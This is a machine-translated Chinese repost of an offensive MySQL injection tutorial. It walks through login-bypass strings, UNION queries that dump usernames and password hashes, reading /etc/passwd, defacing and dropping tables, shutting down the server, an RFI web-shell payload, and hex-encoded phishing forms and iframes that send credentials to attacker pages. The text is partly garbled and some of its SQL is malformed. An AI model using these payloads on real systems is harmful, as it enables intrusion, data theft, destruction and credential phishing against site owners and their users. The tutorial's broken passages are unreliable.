1. 程式人生 > >史上最完整的MySQL注入

史上最完整的MySQL注入

免責宣告:本教程僅用於教育目的,以保護您自己的SQL註釋程式碼。 在閱讀本教程後,您必須對任何行動承擔全部責任。

0x00 ~ 背景

這篇文章題目為“為新手完成MySQL注入”,它旨在提供專門針對MySQL資料庫的SQL注入的完整知識和工作方式,除了堆疊查詢部分。 這裡的第一個貢獻......

表中的內容

  • 介紹

  • 什麼是資料庫?

  • 什麼是SQL注入?

  • 繞過登入

  • 訪問祕密資料

    • 檢查漏洞

    • 找到列數

    • 解決脆弱的部分

    • 尋找MySQL版本

    • MySQL 5或以上版本的注入

    • MySQL 4注入
  • 修改網站內容

  • 關閉MySQL伺服器

  • Loadfile

  • MySQL Root

  • 主要的MySQL命令

  • 完成注射教程

  • 更新

    • 繞過登入高階

    • RF注入SQL注入

    • URL欺騙網路釣魚

    • Cookie
  • 結束

0x01 ~ 介紹

大家好,對於那些不瞭解我的人我是他們的噩夢=)..在本教程中,我將以新手視角展示MySQL中臭名昭著的注入,以便所有新手都能成為成功的SQL注入器。 目的,一定要檢查PHP和MySQL中的各種函式和各種各樣的網站,它們會對你有很大的幫助...也不要苛刻我是否有任何語法錯誤的教程因為英語不是我的母語(我是 來自土星環)。 現在讓我們開始SQL注入的演練。

0x02 ~ 什麼是資料庫

這只是只是一般的資訊..資料庫是儲存資料集合的應用程式。 資料庫提供各種API,用於建立,訪問和管理它所擁有的資料。 並且資料庫(DB)伺服器可以與我們的Web開發整合,以便我們可以從資料庫中獲取我們想要的東西而沒有太多困難。 DB可能包含各種關鍵資訊,如使用者名稱,密碼,信用等。 因此,需要保護資料庫,但執行的許多資料庫伺服器由於其漏洞或程式設計處理不當而不安全。 僅舉幾例DB伺服器,MySQL(開源),MSSQL,MS-ACCESS,Oracle,Postgre SQL(開源),SQLite等。

0x03 ~ 什麼是Sql注入?

SQL注入可能是目前網際網路上存在的最豐富的程式設計缺陷。 這是未經授權的人可以訪問各種關鍵和私人資料的漏洞。 SQL注入不是Web或資料庫伺服器中的缺陷,而是由於程式設計實踐較差且缺乏經驗而導致的。 它是從遠端位置執行的最致命和最容易的攻擊之一。

在SQL注入中,我們使用各種命令與DB伺服器互動,並從中獲取各種資料。 在本教程中,我將討論SQL注入的3個方面,即繞過登入,訪問機密資料和修改頁面內容。 因此,讓我們在真正的演練中前進......

#0x04 ~ 繞過登入

假設一個站點有一個登入表單,只允許註冊使用者進入該站點。 現在,假設你想繞過登入並以合法使用者身份進入網站。 如果程式設計師沒有正確清理登入指令碼,您可能很幸運能夠進入該站點。 通過與DB伺服器互動,你可能無需知道真實使用者名稱和真實密碼即可登入該站點。 那麼,這不就是SQL注入的美感嗎?

讓我們看一個例子,其中使用者名稱admin和密碼sam207可以登入到該站點。 假設,對此的SQL查詢執行如下:
HTML程式碼:
SELECT USER from database WHERE username ='admin'AND password ='xenu'
如果上面的SELECT命令評估為true,則將授予使用者訪問該站點的許可權。 想想如果沒有清理指令碼我們可以做些什麼。 這為黑客獲取非法訪問網站打開了一扇大門。

在此示例中,攻擊者可以在登入表單中輸入以下使用者資料:

username:a or 1=1--
password:blank

所以,這會使我們的查詢為:

<?php
SELECT USER from database WHERE username='a' or 1=1-- AND password=''  

請注意 - 是註釋運算子,其後的任何內容都將被忽略為註釋。 存在另一個註釋運算子,它是/ *。

所以我們的上述查詢變為:

<?php
SELECT USER from database WHERE username='a' or 1=1  

現在,即使沒有名為“a”的使用者,此查詢也會計算為true,因為1 = 1始終為true,並且當其中一個查詢為true時,使用OR會使查詢返回true。 這樣就可以訪問站點管理面板。

可以有各種其他使用者名稱和密碼組合來與易受攻擊的網站一起玩。 您可以為站點登入建立自己的新組合。

很少有這樣的組合:

username:' or 1='1        password:' or 1='1
username:' or '1'='1'    password:' or '1'='1'
username:or 1=1        password:or 1=1

這是基本沒關係讓我們現在假設不同的查詢和不同的注入。

<?php
select username,pass from users where username=('$username') and password=('$passwrd') limit 0,1;  

這樣的組合是:

') or true--
') or ('')=('
') or 1--
') or ('x')=('

PHP程式碼:

<?php
select username,pass from users where username="$username" and password="$passwrd" limit 0,1;  

這樣的組合是:

" or true--
" or ""="
" or 1--
" or "x"="

PHP程式碼:

<?php
select username,pass from users where username=("$username") and password=("$passwrd") limit 0,1;  

這樣的組合是:

") or true--
") or ("")=("
") or 1--
") or ("x")=("

PHP程式碼:

<?php
select username,pass from users where username=(('$username')) and password=(('$passwrd')) limit 0,1;  

這樣的組合是:

')) or true--
')) or ((''))=(('
')) or 1--
')) or (('x'))=(('

另一種有效載重:

'-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x

這就是繞過登入。

0x05 ~ 獲得祕密的資料

SQL注入本質上不是為了繞過登入,而是用於訪問資料庫伺服器中的敏感和祕密資料。 這部分很長,所以我將在小節中討論。

#0x05.a~檢查漏洞

假設你有一個網站:

<?php
site.com/article.php?id=5

現在要檢查它是否容易受到攻擊,你只需新增'到底,即分配了id變數。

所以,它是:

<?php
site.com/article.php?id=5'

現在,如果站點不易受攻擊,則會過濾並正常載入頁面。但是,如果它不過濾查詢字串,它將給出如下錯誤:“第5行的Article.php中的'5''MySQL語法錯誤。”或者是錯誤,說我們檢查正確的MySQL版本或MySQL Fetch錯誤或有時只是空白頁面。 錯誤可能是任何形式。 因此,它確保該網站易受攻擊。

只是使用'可能不是肯定的測試; 所以你可以嘗試不同的東西,比如:

<?php
site.com/article.php?id=5+union+select+1--  

如果你得到這個錯誤,你再次知道它的弱點...只是嘗試不同的東西..

#0x05.b~查詢列數

所以,現在是時候找到列數了。 為此,我們將使用'order by'直到我們收到錯誤。

也就是說,我們將URL查詢設為:

<?php
site.com/article.php?id=5+order+by+1/*  

這沒有給出錯誤。

現在,我確實把它增加到2:

<?php
site.com/article.php?id=5+order+by+2/*  

仍然沒有錯誤
所以,我們需要增加,直到我們得到錯誤。

在我的例子中,當我輸入值3時出現錯誤,即:

<?php
site.com/article.php?id=5+order+by+3/*  

這反饋給了我錯誤。

因此,這意味著當前表中有2列(3 - 1 = 2)。 這就是我們找到列數的方式。

#0x05.c~解決弱勢部分

現在,我們需要使用union語句並找到我們可以替換的列,以便在頁面上檢視祕密資料。

首先讓我們設計一個不會出錯的union語句。這就像這樣:

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+null/*

這會出錯,因為我們的查詢需要在那裡再有一個null。而且null不會導致任何型別轉換錯誤,因為它只是null。

因此,對於我們的注射,它變成:

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+null,null/*

為此我們做:

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+1,2/*

現在我們將看到頁面上的數字。 我的意思是,頁面上可以看到1或2或1和2。 請注意,數字可以顯示在頁面標題中的任何位置,有時甚至可以顯示在原始碼中的隱藏標記中。因此,這意味著我們可以使用命令替換數字以顯示資料庫儲存的私有資料。

在我的例子中,頁面上顯示1。 這意味著,我應該用我的東西替換1繼續進行。 得到它了? 所以讓我們前進吧。

快速注意:有時可能無法顯示數字,因此您很難找到可用於竊取資料的列。因此,在這種情況下,您可以嘗試以下內容:

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+xenu,null/*

或者

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+null,xenu/*  

如果xenu顯示在頁面的某個位置,你可以進一步注射替換文字部分......在這裡,我保留文字而不是整數來檢查是否顯示文字...另外,一定要檢查源,因為有時他們 可能在一些隱藏的標籤中..

#0x05.d~查詢MySQL版本

對於我們的注入,有必要找到MySQL版本,因為如果它是5,我們的工作變得容易多了。 要檢查版本,有一個函式@@ version或version()。

那麼,我們所做的是用@@版替換1(這是可替換的部分),即我們如下所示:

<?php
site.com/[email protected]@version,2/*  

或者

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+version(),2/*  

因此,這將返回在伺服器上執行的MySQL版本。

但是,有時你可能會遇到上述查詢錯誤。 如果是這種情況,請使用unhex(hex())函式,如下所示:

<?php
site.com/article.php?id=UNION+ALL+SELECT+unhex(hex(@@version)),2/*  

請記住,如果你必須在這裡使用unhex(hex())函式,你也必須在以後的注入過程中使用這個函式。

@@版本會給你這個版本。 它可以是4(或更低)或5和更高。 我現在將分別討論版本5和4的注射過程,正如我之前所說,版本5使我們可以輕鬆執行注射。

注意:此外,您可以通過以下方式檢查使用者,資料庫等。

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+user(),2/*
site.com/article.php?id=5+UNION+ALL+SELECT+database(),2/*  

#0x05.e~MySQL 5或以上注入

在這裡,我將向您展示如何訪問執行MySQL 5或更高版本的伺服器中的資料。

你使用url引數中的@@版本得到MySQL版本5.0.27標準。 版本5中的MySQL有一個名為information_schema的有用函式。 這是儲存有關DB伺服器中存在的表和列的資訊的表。 也就是說,它包含站點的所有表和列的名稱。

要獲取表格列表,我們使用:

table_name from information_schema.tables

要獲取列列表,我們使用:

column_name from information_schema.columns

因此,我們在示例中獲取表列表的查詢將是:

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+table_name,2+FROM+information_schema.tables/*  

是的,如果您在查詢版本時必須使用unhex(hex()),則必須執行以下操作:

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+unhex(hex(table_name)),2+FROM+information_schema.tables/*

這將列出DB中存在的所有表。 出於我們的目的,我們將搜尋包含使用者和密碼資訊的表。 所以我們用這些資訊檢視可能的表格。 你甚至可以寫下表名以供進一步參考和使用。 對於我的示例,我將使用tbluser作為包含使用者和密碼的表。

同樣,要獲取列列表,我們將查詢為:

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+column_name,2+FROM information_schema.columns/*  

這將返回資料庫伺服器中存在的所有列。 現在從這個列表中,我們將查詢使用者名稱和密碼的可能列。 對於我的注射,有兩列儲存這些資訊。 它們分別是使用者名稱和密碼。 這就是我想要的專欄。 你必須搜尋並檢查列,直到你沒有錯誤。

或者,要查詢特定表中的列,您可以執行以下操作:

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+column_name,2+FROM+information_schema.columns+WHERE+table_name='tbluser'  

這將顯示錶tbluser中的列。 但這可能無法始終基於PHP.INI,所以六角形。

讓我告訴你我是如何知道上面兩列屬於表tbluser的。 現在讓我展示如何顯示儲存在DB中的使用者名稱和密碼。

有一個名為concat()的函式允許我連線兩列並在頁面上顯示。 我也將以十六進位制形式使用分號。 它的十六進位制值是0x3a(在開始時為零而不是字母o。)

我做的是:

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+concat(username,0x3a,password),2+FROM+tbluser/*  

這給了我如下的使用者名稱和密碼:

admin:9F14974D57DE204E37C11AEAC3EE4940

這裡密碼是雜湊的,在這種情況下,它是MD5。 現在你需要得到像hashcat,passwordpro(等)一樣的雜湊破解程式並破解雜湊。 雜湊值可能與SHA1,MD5等不同。或者有時可能會在頁面上顯示明文密碼。 在這種情況下,當我破解時,我得到密碼為sam207。

現在你進入管理員登入頁面並以管理員身份登入。 然後你可以做任何你想做的事。 這就是MySQL版本5的全部內容。

#0x05.f~MySQL版本4注入

現在說你的受害者有MySQL版本4.那麼你將無法獲得MySQL版本5中的表名和列名,因為它缺乏對information_schema.tables和information_schema.columns的支援。

所以現在你必須猜測表名和列名,直到你沒有得到錯誤。 此外,如果MySQL版本低於5,您可能必須依賴顯示的運氣和錯誤訊息。有時錯誤將為您提供表名稱和列名稱,並讓您有一些想法猜測正確的表和列名稱 ..說,錯誤報告錯誤中的xenu_article ..所以,你知道xenu_是表名中使用的字首...

無論如何,讓我們去MySQL版本4注入...

例如,你會這樣做:

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+1,2+FROM+user/*  

在這裡,我猜測表名為user。 但是這給了我錯誤,因為DB上沒有名稱user的表。 現在我繼續猜測表名,直到我沒有得到錯誤。

當我將表名作為tbluser時,頁面正常載入。 所以我開始知道表tbluser存在。

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+1,2+FROM+tbluser/*  

頁面正常載入。 現在再次你必須猜測tbluser表中存在的列名。

我做了類似下面的事情:

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+user_name,2+FRO+tbluser/*

//這給了我錯誤,所以沒有這個名字的專欄。

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+username,2+FROM+tbluser/*      

//它正常載入頁面以及表中的使用者名稱。

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+pass,2+FROM tbluser/*

//它的錯誤再次表明tbluser中不存在列傳遞。

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+password,2+FROM+tbluser/*     

//通常使用密碼雜湊(或明文密碼)載入的頁面。

現在你可以這樣做:

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+concat(username,0x3a,password),2+FROM+tbluser/*  

這反饋給我:

admin:9F14974D57DE204E37C11AEAC3EE4940

現在我只需要登入該網站並做任何我想做的事情。

您可能嘗試的幾個表名稱是:user(s),table_user(s),tbluser(s),tbladmin(s),admin(s),members(等)等。
如前所述,請務必檢視錯誤,因為有時他們會為我們提供表名和列名錯誤...

如果資料庫成立,你可以嘗試這些方法以獲得各種資料,例如信用卡號,社會保險號等等。 您需要做的就是找出列並將它們顯示在易受攻擊的頁面上。 這就是用於訪問祕密資料的注入。

#0x06~修改網站內容

有時候,你會發現易受攻擊的網站,並且需要知道,但是管理員登入可能不存在,或者某些IP範圍是可訪問的。 即使在該上下文中,您也可以使用一些kewl SQL命令來修改站點內容。 我沒有看到很多文章解決這個問題,所以我想把它包含在這裡。

在這裡,我將基本上討論一些可能用於更改網站內容的SQL命令。 Therse命令是MySQL的主力並且在執行時是致命的。 但堆疊查詢不適用於MySQL。

首先讓我列出這些命令:

UPDATE:它用於編輯資料庫中已有的資訊而不刪除任何行。

DELETE:用於刪除一個或多個欄位的內容。

DROP:用於完全刪除表及其所有相關資料。

現在,如果網站允許我們與db進行互動而沒有清理和適當的許可權,你可能已經發現這些命令非常具有破壞性。

命令用法:

UPDATE:我們易受攻擊的頁面是:

<?php
site.com/article.php?id=5  

讓我們說查詢是:

<?php
SELECT title,data,author FROM article WHERE id=5

雖然實際上我們不知道上面的查詢,但我們可以找到前面討論過的表和列名。

所以我們會這樣做:

<?php
site.com/article.php?id=5+UPDATE+article+SET+title='Hacked By Xenu for R00TW0RM C0MMUNITY'/*

或者,你可以做:

<?php
site.com/article.php?id=5+UPDATE+article+SET+title='Hacked By r00tw0rm',data='Ur site has zero security',author='Xenu'/*

通過執行第一個查詢,我們在表格文章中將標題值設定為“Hacked By r00tw0rm”,而在第二個查詢中,我們更新了表格文章中的所有三個欄位title,data和author。

有時,您可能想要更改id = 5的特定頁面。 為此,你會這樣做:

<?php
site.com/article.php?id=5+UPDATE+article+SET+title='value 1',data='value 2',author='value 3'+WHERE+id=5/*  

DELETE:如前所述,這將從資料庫伺服器中永久刪除一個或多個欄位的內容。

語法是:

<?php
site.com/article.php?id=5+DELETE+title,data,author+FROM+article/*

或者,如果要從id = 5中刪除這些欄位,您將執行以下操作:

<?php
site.com/article.php?id=5+DELETE+title,data,author+FROM+article+WHERE+id=5/*  

DROP:這是你可以使用的另一個致命的命令。 有了這個,你可以刪除一個表及其所有相關資料。
為此,我們將URL設為:

<?php
site.com/article.php?id=5+DROP+TABLE+article/*

這將刪除表格文章及其所有內容。

最後,我想談談';'。

雖然我沒有在我的教程中使用它,但你可以使用它來結束你的第一個查詢並啟動另一個查詢。

這個 ; 可以保留在我們的第一個查詢的末尾,以便我們可以在它之後開始新的查詢。

#0x07~關閉MySQL伺服器

這就像執行伺服器一樣,因為它會使合法使用者或網站訪問者無法使用MySQL資源......為此,您將使用:

SHUTDOWN WITH NOWAIT;

那麼,你會製作一個執行上述命令的查詢......

例如,在我的情況下,我會做以下事情:

<?php
site.com/article.php?id=5+SHUTDOWN+WITH+NOWAIT;  

哇,太瘋狂了! MySQL伺服器關閉...這將阻止合法使用者和網站訪問者使用或檢視MySQL資源

#0x08~Loadfile

MySQL有一個名為load_file的函式,您可以再次使用它來獲益。我還沒有看到很多網站可以使用這個函式...我認為我們應該擁有MySQL root許可權....此外,魔術引號 應該關閉這個...但有一種方法可以超越魔術引號... load_file可用於載入伺服器的某些檔案,如.htaccess,.htpasswd等..還有/ etc等密碼檔案 / passwd等。

做類似下面的事情:

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+load_file('etc/passwd'),2/*

但有時候,你必須對部件進行hex並執行以下操作:

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+load_file(0x272F6574632F70617373776427)  

我已經hex了......現在,如果我們幸運的話,指令碼將在結果中回顯/ etc / passwd。

#0x08~MySQL Root

如果MySQL版本為5或更高版本,我們可能會獲得MySQL root許可權,這對我們來說也會有所幫助。來自版本5的MySQL伺服器有一個名為mysql.user的表,其中包含用於登入的雜湊和使用者名稱... 它位於MySQL資料庫的使用者表中,隨MySQL的每次安裝一起提供。

為此,您將:

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+concat(username,x3a,password),2+from+mysql.user/*  

現在你將獲得使用者名稱和雜湊..雜湊是mysqlsha1 ...快速注意:JTR不會破解它..但是insidepro.com有一個要做它..

#0x09~主要MySQL命令

下面,我將列出一些可能對您有所幫助的主要MySQL命令...通過在您的計算機中設定MySQL伺服器以不同的方式與它們一起玩。

這裡的所有命令都是從h4cky0u的帖子中複製貼上的,這部分的功勞歸於原作者..這是我自己寫的唯一部分..我可以擁有但是因為有更好的一部分,我 我想把相同的部分放在這裡..感謝在h4cky0u網站上釋出此內容的人...以及此部分的全部學分給他/她。

註釋:

ABORT - 中止當前轉換

ALTER DATABASE - 更改資料庫

ALTER GROUP - 將使用者新增到組或從組中刪除使用者

ALTER TABLE - 更改表的定義

ALTER TRIGGER - 更改觸發器的定義

ALTER USER - 更改資料庫使用者帳戶

ANALYZE - 收集有關資料庫的統計資訊

BEGIN - 啟動交易凍結

CHECKPOINT - 強制事務日誌檢查點

CLOSE - 關閉游標

CLUSTER - 根據索引對錶進行聚類

COMMENT - 定義或更改物件的註釋

COMMIT - 提交當前事務

COPY - 在檔案和表之間複製資料

CREATE AGGREGATE - 定義一個新的聚合函式

CREATE CAST - 定義使用者定義的強制轉換

CREATE CONSTRAINT TRIGGER - 定義一個新的約束觸發器

CREATE CONVERSION - 定義使用者定義的轉換

CREATE DATABASE - 建立一個新資料庫

CREATE DOMAIN - 定義一個新域

CREATE FUNCTION - 定義一個新功能

CREATE GROUP - 定義新使用者組

CREATE INDEX - 定義一個新索引

CREATE LANGUAGE - 定義一種新的過程語言

CREATE OPERATOR - 定義一個新的運算子

CREATE OPERATOR CLASS - 為索引定義一個新的運算子類

CREATE RULE - 定義新的重寫規則

CREATE SCHEMA - 定義新架構

CREATE SEQUENCE - 定義一個新的序列生成器

CREATE TABLE - 定義一個新表

CREATE TABLE AS - 根據查詢結果建立新表

CREATE TRIGGER - 定義一個新的觸發器

CREATE TYPE - 定義新的資料型別

CREATE USER - 定義新的資料庫使用者帳戶

CERATE VIEW - 定義新檢視

DEALLOCATE - 刪除準備好的查詢

DECLARE - 定義遊標

DELETE - 刪除表的行

DROP AGGREGATE - 刪除使用者定義的聚合函式

DROP CAST - 刪除使用者定義的強制轉換

DROP CONVERSION - 刪除使用者定義的轉換

DROP DATABASE - 刪除資料庫

DROP DOMAIN - 刪除使用者定義的域

DROP FUNCTION - 刪除使用者定義的函式

DROP GROUP - 刪除使用者組

DROP INDEX - 刪除索引

DROP LANGUAGE - 刪除使用者定義的過程語言

DROP OPERATOR - 刪除使用者定義的運算子

DROP OPERATOR CLASS - 刪除使用者定義的運算子類

DROP RULE - 刪除重寫規則

DROP SCHEMA - 刪除架構

DROP SEQUENCE - 刪除序列

DROP TABLE - 刪除表

DROP TRIGGER - 刪除觸發器

DROP TYPE - 刪除使用者定義的資料型別

DROP USER - 刪除資料庫使用者帳戶

DROP VIEW - 刪除檢視

END - 提交當前事務

EXECUTE - 執行準備好的查詢

EXPLAIN - 顯示語句的執行計劃

FETCH - 使用遊標從表中檢索行

GRANT - 定義訪問許可權

INSERT - 在表中建立新行

LISTEN - 收聽通知

LOAD - 載入或重新載入共享庫檔案

LOCK - 顯式鎖定表

MOVE - 將游標放在表格的指定行上

NOTIFY - 生成通知

PREPARE - 建立準備好的查詢

REINDEX - 重建損壞的索引

RESET - 將執行時引數的值恢復為預設值

REVOKE - 刪除訪問許可權

ROLLBACK - 中止當前事務

SELECT - 從表或檢視中檢索行

SELECT INTO - 根據查詢結果建立一個新表

SET - 更改執行時引數

SET CONSTRAINTS - 設定當前事務的約束模式

SET SESSION AUTHORIZATION - 設定會話使用者識別符號和當前會話的當前使用者識別符號

SET TRANSACTION - 設定當前事務的特徵

SHOW - 顯示執行時引數的值

START TRANSACTION - 啟動交易凍結

TRUNCATE - 清空一張桌子

UNLISTEN - 停止收聽通知

UPDATE - 更新表的行

VACUUM - 垃圾收集並可選地分析資料庫

#0x09~完成注射教程

我知道我錯過了一些東西,比如outfile,WHERE子句,盲注等...如果我有時間,我會嘗試用這些來更新教程..對於所有sql注入器,請大膽思考..& hexing是sql注入中的一個重要部分。有時用普通方法無法完成的事情可以通過使用hex部分完成..並且一定要嘗試使用char(),hex()函式。 這些,您可以繞過伺服器上的魔術引號。再次,在UNION語句中,您可能會嘗試使用有時對您有幫助的XSS。

<?php
site.com/article.php?id=5+UNION+ALL+SELECT+<script>
alert("XSS via SQL injection");
</script>,2/*  

再次在上面的注入中,您可能需要對javascript部分進行六進位制以繞過魔術引號。

對於初學者和那些瞭解小事的人,您可以在本地主機中為您的apache伺服器設定MySQL伺服器並配置PHP,您可以嘗試不同的東西。

在MySQL的命令列介面中,嘗試下面列出的各種命令。嘗試修改它們...這將有助於您提高MySQL命令知識。還試著看看PHP程式碼如何與MySQL伺服器互動..例如,安裝一些免費的論壇,如PHPBB,SMF等..或者一些內容管理系統,因為它可以通過兩種方式幫助你。首先,你將學習PHP如何與MySQL互動..你可以檢查MySQL資料夾中發生了什麼變化後安裝它們..如果我這樣做會怎麼樣?或者那個?? etc..etc ..其次,你可能能夠找到它們中的bug ..比如rfi程式碼的某些部分或sql注入另一部分或者csrf注入等等。這會幫助你學習新東西,因為你們都知道練習能讓人變得完美......

#0x10~更新

我藉此機會更新此complet檔案undefined

#0x10.a~繞過登入高階

我希望你喜歡閱讀“Bypassing Logins”一章。 因此,現在是時候瞭解如何將某個易受攻擊的登入表單的資料庫轉出。

<?php
select username,pass from users where username="$uname" and password="$passwrd" limit 0,1
select username,pass from users where username='$uname' and password='$passwrd' limit 0,1  

程式碼:

username : ' or (select 1 from (select count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from information_schema.tables group by y)x) and ''='
username : " or (select 1 from (select count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from information_schema.tables group by y)x) and ""="
username : ' or (select 1 from (select count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from information_schema.tables group by y)x) --+
username : " or (select 1 from (select count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from information_schema.tables group by y)x) --+
username : ' or (select 1 from (select count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from information_schema.tables group by y)x) #
username : " or (select 1 from (select count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from information_schema.tables group by y)x) #
username : ' or (select 1 from (select count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from information_schema.tables group by y)x) --
username : " (select 1 from (select count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from information_schema.tables group by y)x) --

您可以再次將密碼欄位留空。 現在讓我們看看查詢將傳遞什麼。

<?php
select username,pass from users where username='' or (select 1 from (select count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from information_schema.tables group by y)x) and ''='' and password='' limit 0,1  

#0x10.b~SQL注入的RFI

如果您已閱讀本文並瞭解RFI漏洞,則無需解釋。 這很容易!

<?php
site.com/?param=1+union+select+'<?eval($_request[cmd]);?>'&cmd=passthru('ls');  

#0x10.c~URLS欺騙性網路釣魚

這次標題說明了我們將使用SQL注入漏洞利用URL欺騙進行網路釣魚。 有三種方法

  • 注入HTML

  • 注入iFrame

  • 修改當前表格

我們將把有效負載注入SQL注入,並像在XSS中一樣在網頁上新增一些額外的程式碼。

首先,注入HTML。 為簡單起見,我們將有效負載編碼為十六進位制。 對於有效載荷:

<?php
<form action=http://site.com/w0rm.php method="POST">
Username : <input type="text" name="username"><br>
Password :<input type="text" name="password">
<input type="submit">
</form>
<iframe height=0 width=0>  

編碼為十六進位制:

3c666f726d20616374696f6e3d687474703a2f2f736974652e636f6d2f7730726d2e706870206d65 74686f643d22504f5354223e0d0a557365726e616d65203a203c696e70757420747970653d227465 787422206e616d653d22757365726e616d65223e3c62723e0d0a50617373776f7264203a3c696e70 757420747970653d227465787422206e616d653d2270617373776f7264223e0d0a3c696e70757420 747970653d227375626d6974223e0d0a3c2f666f726d3e0d0a3c696672616d65206865696768743d 302077696474683d303e

在注入的SQL中注入Hex(有效載荷)。

注射iframe

例如:

<?php
<br><iframe src="http://site.com/virus.php" height=300 width=300 frameBorder="0" scrolling="no"></iframe>  

程式碼:

3c62723e3c696672616d65207372633d22687474703a2f2f736974652e636f6d2f76697275732e70 687022206865696768743d3330302077696474683d333030206672616d65426f726465723d223022 207363726f6c6c696e673d226e6f223e3c2f696672616d653e,4,5--

PHP程式碼:

<?php
site.com/link.php?id=-1'+union+select+1,2,0x3c62723e3c696672616d65207372633d22687474703a2f2f736974652e6 36f6d2f76697275732e70687022206865696768743d3330302077696474683d333030206672616d6 5426f726465723d223022207363726f6c6c696e673d226e6f223e3c2f696672616d653e,4,5--  

更改當前表格

在這次攻擊中,我們將在網站中注入javascript,將網站中當前登入頁面的操作更改為我們的虛假登入頁面連結。

<?php
<script>document.getElementsByTagName("form")[0].action="http://www.site.com/virus.php"</script>  

程式碼:

3c7363726970743e646f63756d656e742e676574456c656d656e747342795461674e616d65282266 6f726d22295b305d2e616374696f6e3d22687474703a2f2f7777772e736974652e636f6d2f766972 75732e706870223c2f7363726970743e

PHP程式碼:

<?php
site.com/link.php?id=-1' union select 1,2,0x3c7363726970743e646f63756d656e742e676574456c656d656e747342795461674e6 16d652822666f726d22295b305d2e616374696f6e3d22687474703a2f2f7777772e736974652e636 f6d2f76697275732e706870223c2f7363726970743e,4,5--  

#0x10.c~標題

HTTP查詢字串引數(GET):URL中傳送的輸入引數。

HTTP正文引數(POST):HTTP主體中傳送的輸入引數。

HTTP Cookie引數:HTTP cookie中傳送的輸入引數。

HTTP標頭:應用程式使用的HTTP請求標頭。

HTTP頭欄位是超文字傳輸​​協議(HTTP)中的請求和響應的訊息頭的元件。它們定義HTTP事務的操作引數。

Example: Request HTTP

Code:

GET / HTTP/1.1

Connection: Keep-Alive

Keep-Alive: 300

Accept:/

Host: host

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;

rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16 ( .NET CLR 3.5.30729; .NET4.0E)

Cookie: guest_id=v1%3A1328019064; pid=v1%3A1328839311134

當儲存在資料庫中用於會話識別時,我們可以將HTTP Cookie視為應該測試的第一個潛在HTTP變數。我們將在基於Cookie的SQL注入示例中看到下一個。還有與應用程式相關的其他HTTP標頭。

X-Forwarded-For是一個HTTP頭欄位,被認為是事實上的標準,用於識別通過HTTP代理或負載均衡器連線到Web伺服器的客戶端的原始IP地址。

我們將在表單提交的基礎上看到這個漏洞的一個例子。

<?php     
$req = mysql_query("SELECT user,password FROM admins WHERE user='".sanitize($_POST['user'])."' AND password='".md5($_POST['password'])."' AND ip_adr='".ip_adr()."'");  

由於sanitize()方法,可以正確控制變數login。

<?php
1function sanitize($param){ if (is_numeric($param)) { return $param; } else { return mysql_real_escape_string($param); } }

讓我們檢查一下ip變數。 它正在分配ip_addr()方法的輸出。

<?php
function ip_adr() { if
(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip_adr = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $ip_adr = $_SERVER["REMOTE_ADDR"]; } if (preg_match("#^[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}#",$ip_addr)) { return $ip_adr; } else { return $_SERVER["REMOTE_ADDR"]; } }  

顯然,從HTTP頭X_FORWARDED_FOR中檢索IP地址。 稍後由preg_match控制,它驗證此引數是否確實包含至少一個IP地址。 事實上,在SQL查詢中使用其值之前,環境變數HTTP_X_FORWARDED_FOR未正確清理。 這可以通過將任意SQL程式碼注入此欄位來執行任何SQL查詢。

將此標頭欄位簡單修改為:

GET /index.php HTTP/1.1
Host: [host]
X_FORWARDED_FOR :127.0.0.1' or 1=1#
[/php]
will lead to bypass the authentication control.

User agent is an HTTP header field gives the software program used by the original client. This is for statistical purposes and the tracing of protocol violations. It should be included. The first white space delimited word must be the software product name, with an optional slash and version designator.

Not all applications are written to capture the user-agent data, but sometimes applications are designed to store such information (ex: shopping cart providers) to make use of it. In this case, it’s worth investigating the user-agent header for possible issues.

HTTP query example:
[code]
GET /index.php HTTP/1.1
Host: [host]
User-Agent: aaa' or 1/*

Referer是另一個HTTP標頭,一旦應用程式將其儲存在資料庫中而不對其進行清理,它可能容易受到sql注入攻擊。 它是一個可選的頭欄位,允許客戶端為伺服器的好處指定從中獲取請求中的URI的文件(或文件中的元素)的地址(URI)。 這允許伺服器生成文件的反向連結列表,用於興趣,記錄等。它允許跟蹤故障連結以進行維護。

GET /index.php HTTP/1.1
Host: [host]
User-Agent: aaa' or 1/*
